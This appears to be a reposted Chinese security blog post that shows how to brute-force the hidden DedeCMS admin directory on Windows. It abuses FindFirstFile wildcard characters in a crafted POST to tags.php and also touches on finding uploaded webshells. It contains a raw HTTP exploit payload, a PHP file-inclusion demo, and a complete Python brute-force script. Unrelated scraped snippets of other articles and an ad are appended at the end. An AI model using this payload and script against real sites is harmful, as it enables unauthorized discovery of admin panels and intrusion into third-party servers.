读DEDECMS找后台目录有感

本文作者:红日安全团队——Mochazz

早上看了先知论坛的这篇文章:解决DEDECMS历史难题–找后台目录 不得不说作者思路确实巧妙,作者巧妙的利用了Windows FindFirstFile和织梦程序代码中对上传图片的逻辑判断,成功在Windows环境下爆破出后台目录。可能一些人不了解Windows FindFirstFile,其实就是Windows在搜索文件时,使用到的一个winapi 函数,有时候我们找不到自己上传的马时,也可以利用它,请阅读下面一段解释:

目前大多数程序都会对上传的文件名加入时间戳等字符再进行MD5,然后下载文件的时候通过保存在数据库里的文件ID 读取出文件路径,一样也实现了文件下载,这样我们就无法直接得到我们上传的webshell 文件路径,但是当在Windows 下时,我们只需要知道文件所在目录,然后利用Windows 的特性就可以访问到文件,这是因为Windows 在搜索文件的时候使用到了FindFirstFile 这一个winapi 函数,该函数到一个文件夹(包括子文件夹) 去搜索指定文件。

利用方法很简单,我们只要将文件名不可知部分之后的字符用“<”或者“>”代替即可,不过要注意的一点是,只使用一个“<”或者“>”则只能代表一个字符,如果文件名是12345或者更长,这时候请求“1<”或者“1>”都是访问不到文件的,需要“1<<”才能访问到,代表继续往下搜索,有点像Windows的短文件名,这样我们还可以通过这个方式来爆破目录文件了。

PS:这两段话出自《代码审计–企业级Web代码安全架构》一书。感觉后面一段话有些问题,在实际测试中用“<”或者“<<”都可以读到文件名很长的文件,而作者说“<”只能代表一个字符。

我们可以尝试一下,新建两个文件,5149ff33ebec0e6ad37613ea30694c07.php、demo.php,内容如下:

# 5149ff33ebec0e6ad37613ea30694c07.php
<?php
        phpinfo();
?>
# demo.php
<?php
        $filename = $_GET["file"];
        include $filename.".php";
?>

访问 http://localhost/demo.php?file=5&lt; ,成功包含5149ff33ebec0e6ad37613ea30694c07.php文件。

下面我们再来看看如何使用这种方式,快速爆破处dedecms后台。代码逻辑,先知的 这篇文章 已经讲的很细了,这里直接看具体payload:

POST /tags.php HTTP/1.1
Host: 192.168.1.9
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 132

_FILES[mochazz][tmp_name]=./mo<</images/adminico.gif&_FILES[mochazz][name]=0&_FILES[mochazz][size]=0&_FILES[mochazz][type]=image/gif

可以看到目录文件存在和不存在,返回结果是不一样的,所以我们可以用python写个简单的爆破程序:

#!/usr/bin/env python
‘‘‘/*
    * author = Mochazz
    * team   = 红日安全团队
    * env    = pyton3
    *
    */
‘‘‘
import requests
import itertools
characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
back_dir = ""
flag = 0
url = "http://192.168.1.9/tags.php"
data = {
    "_FILES[mochazz][tmp_name]" : "./{p}<</images/adminico.gif",
    "_FILES[mochazz][name]" : 0,
    "_FILES[mochazz][size]" : 0,
    "_FILES[mochazz][type]" : "image/gif"
}

for num in range(1,7):
    if flag:
        break
    for pre in itertools.permutations(characters,num):
        pre = ‘‘.join(list(pre))
        data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)
        print("testing",pre)
        r = requests.post(url,data=data)
        if "Upload filetype not allow !" not in r.text and r.status_code == 200:
            flag = 1
            back_dir = pre
            data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
            break
        else:
            data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
print("[+] 前缀为:",back_dir)
flag = 0
for i in range(30):
    if flag:
        break
    for ch in characters:
        if ch == characters[-1]:
            flag = 1
            break
        data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=back_dir+ch)
        r = requests.post(url, data=data)
        if "Upload filetype not allow !" not in r.text and r.status_code == 200:
            back_dir += ch
            print("[+] ",back_dir)
            data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
            break
        else:
            data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"

print("后台地址为:",back_dir)

演示结果:

>>>>>>  黑客入门必备技能  带你入坑和逗比表哥们一起聊聊黑客的事儿,他们说高精尖的技术比农药都好玩~

原文地址:https://www.cnblogs.com/ichunqiu/p/8487698.html

时间: 2024-10-09 22:03:08

读DEDECMS找后台目录有感的相关文章

解决php 5.4下dedecms登陆后台空白,标题不能为空错误

这两天有人反应新版的php-fpm的php版本为5.4.7对dedecms5.6兼容性不好. dedecms安装完成后会出现登陆后台空白,发布文章时提示"标题不能为空". 1.解决dedecms登陆后台空白错误因为php5.4的版本废除了session_register,所以需要去掉session_register函数 修改:"include/userlogin.class.php",注释掉session_register,修改后如下//@session_regis

第8周读书笔记-读《编程珠玑》有感

读<编程珠玑>有感 <编程珠玑>(后文简称<珠玑>)在序章中就开宗明义地提出了两个问题:一个是如何对实际问题进行抽象,找出问题的独特性质.二是一个富有意思的小题目:"如何在1MB内存内对0~10^7内若干元素组成的集合内的整数进行排序(10s内)".一开始我想到的是归并排序,但是书中提出可以利用位图的位向量,不用考虑任何排序算法,只需要遍历两次即可,忽然就有茅塞顿开之感,从这个简单的例子中就可以对一些思想窥见一斑:位图数据结构.简单的设计.时间-空间

请问如何更改dedecms“文件保存目录”的字符限制 ?

打 开数据库找到“ ×××_arctype ”这个表,注意×××可能因为每个网站不同而不同,也许你的是“dede_arctype”.找到后再找到这三个字段名“typedir. sitepath.siteurl”.你看到这三个字段的类型了吗?分别是“char(60).char(60).char(50)”.如果看官聪明已经 猜到了.  对,就是更改这三个字段的字符长度.笔者已经改为“char(200).char(200).char(200)”.改成200应该足够长了吧. 请问如何更改dedecms"

我读经典(6):读《文明之光》有感

什么是文明?如果突然问大家这个问题,那么你可能会不知如何回答,感觉这是一个只可意会但不可言传的概念. 在新书<文明之光>中,吴军老师为我们带来了答案.继<浪潮之巅>和<数学之美>之后,吴军老师又出力作<文明之光>,将世界各地的主要文明为我们一一呈现和讲解.整套书现在出了第一册和第二册,加起来一共有16章.在这16章中,作者基本按照时间的顺序,从最古老的古埃及文明讲起,一直到美苏在航天方面的竞争为止,为大家展示了一幅生动有趣的历史画卷.全书文笔流畅.语言优美.

读《何谓文化》有感

一.文化到底是什么? 最近在看余秋雨先生写的<何谓文化>,虽然自己也没有什么文化,但是感觉还是从中学到了一点东西,想要记录下来,.也让我开始思考一些生活中的文化. 既然说何谓文化,那就需要对文化来做一个定义,余秋雨先生的定义是:文化,是一种包含精神价值和生活方式的生态共同体.它通过积累和引导,创建集体人格. 这个定义里面有几个关键词语,分别是精神价值.生活方式.集体人格.我们经常会听到这样一个词语,文化差异,可是这个文化差异的直接体现就是在精神价值和生活方式上.经常会听到不少跨国婚姻,因&qu

dedecms在后台替换文章标题、内容、摘要、关键字

dedecms在后台替换文章标题.内容.摘要.关键字所在的字段为: 后台替换文章内容 数据表:dede_addonarticle 字段:body 后台替换文章摘要内容 数据表:dede_archives 字段:description 后台替换文章标题内容 数据表:dede_archives 字段:title 后台替换文章关键词: 数据表:dede_archives 字段: keywords

1.35米高女孩读大学找工作都碰壁 艰难求生存

25岁的李密身高只有1.35米,受身体条件限制,高考超出一本线的她,最终只上了二本的重庆交通大学.(见重庆晨报2009年6月28日04版<优秀女生不敢填志愿>) 去年大学毕业的她,想找一份专业对口.收入不错的工作也异常艰难. 7月13日,这个小个子女大学生选择了自主创业,在南岸区弹子石开了一家火锅馆.从勤奋的小白杨到勤快的小老板,李密这一路走得虽然艰辛,但她说:“我要自己闯出一片天来!” 身高限制 读大学找工作屡碰壁 勤奋的小白杨 李密是忠县人,5年前在重庆市九龙坡的渝高中学上高中.因为学习刻

读《软件随想录》有感

今天拿到Joel的<软件随想录>,读了一个章节,章节题名--我的第一次BillG审查. 这个章节中,Joel讲述了他在微软任职"excel"Program Manager时的经历.这里说到的BillG审查,说的就是比尔盖茨会审查报告.众所周知,比尔是个程序员出身的Boss,在微软中一直扮演的就是教父级的人物.但是好像看来这个BillG审查有点事必躬亲的味道. 今天,我们已经反复地通过各种论点来支撑了,一个Boss事必躬亲必然会导致其他职业的无能.但是Bill为什么还要审核,

织梦源码分析--- 后台目录结构(一)

1.左侧导航条 ①:index_menu.php require(dirname(__FILE__).'/config.php'); require(DEDEADMIN.'/inc/inc_menu.php'); require(DEDEADMIN.'/inc/inc_menu_func.php'); $openitem = (empty($openitem) ? 1 : $openitem); include DedeInclude('templets/index_menu2.htm'); ②